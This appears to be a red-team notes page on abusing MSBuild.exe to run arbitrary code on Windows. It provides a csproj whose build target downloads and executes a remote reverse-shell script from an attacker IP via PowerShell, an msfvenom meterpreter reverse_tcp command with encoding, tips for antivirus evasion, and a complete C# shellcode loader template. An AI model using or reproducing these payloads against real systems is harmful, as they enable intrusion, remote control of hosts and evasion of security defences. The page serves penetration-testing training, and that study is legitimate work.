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MSBuild

Theory

The Microsoft Build Engine is a platform for building applications. This engine, which is also known as MSBuild, provides an XML schema for a project file that controls how the build platform processes and builds software. Visual Studio uses MSBuild, but MSBuild doesn't depend on Visual Studio. By invoking msbuild.exe or dotnet build on your project or solution file, you can orchestrate and build products in environments where Visual Studio isn't installed.

We can execute code with help of MsBuild.exe by providing a .xml or .csproj file

Practice

Build and execute a C# project stored in the target csproj file.

msbuild.exe project.csproj

You may want to look at Powershell without Powershell.exe to convert ps1 scripts to .csporj file.

We may use the following csproj file to execute commands

project.csproj
<Project Sdk="Microsoft.NET.Sdk">

  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net6.0</TargetFramework>
    <ImplicitUsings>enable</ImplicitUsings>
    <Nullable>enable</Nullable>
  </PropertyGroup>
   <Target Name="Shell" BeforeTargets="Build">
    <Exec Command="powershell.exe -c iex(iwr -UseBasicParsing http://10.10.14.11:8080/rev.ps1)" />
  </Target>
</Project>

Otherwise, you may generate a shellcode using msvfenom in csharp output format

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<LHOST> LPORT=<LPORT> -f csharp -e x86/shikata_ga_nai -i <num of iterations> > project.csproj

Put the buffer into the template (be sure to change payload buffer, buffer size and some strings for av evasion:

project.csproj
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <Target Name="Hello">
    <ClassExample />
  </Target>
  <UsingTask
    TaskName="ClassExample"
    TaskFactory="CodeTaskFactory"
    AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
    <Task>
      <Code Type="Class" Language="cs">
      <![CDATA[
        using System;
        using System.Runtime.InteropServices;
        using Microsoft.Build.Framework;
        using Microsoft.Build.Utilities;
        public class ClassExample :  Task, ITask
        {         
          private static UInt32 MEM_COMMIT = 0x1000;          
          private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;          
          [DllImport("kernel32")]
            private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
            UInt32 size, UInt32 flAllocationType, UInt32 flProtect);          
          [DllImport("kernel32")]
            private static extern IntPtr CreateThread(            
            UInt32 lpThreadAttributes,
            UInt32 dwStackSize,
            UInt32 lpStartAddress,
            IntPtr param,
            UInt32 dwCreationFlags,
            ref UInt32 lpThreadId           
            );
          [DllImport("kernel32")]
            private static extern UInt32 WaitForSingleObject(           
            IntPtr hHandle,
            UInt32 dwMilliseconds
            );          
          public override bool Execute()
          {
            byte[] shellcode = new byte[195] {};

              UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,
                MEM_COMMIT, PAGE_EXECUTE_READWRITE);
              Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
              IntPtr hThread = IntPtr.Zero;
              UInt32 threadId = 0;
              IntPtr pinfo = IntPtr.Zero;
              hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
              WaitForSingleObject(hThread, 0xFFFFFFFF);
              return true;
          } 
        }     
      ]]>
      </Code>
    </Task>
  </UsingTask>
</Project>

Resources

LogoTryHackMe | Cyber Security TrainingTryHackMe
LogoUsing MSBuild to Execute Shellcode in C#Red Teaming Experiments

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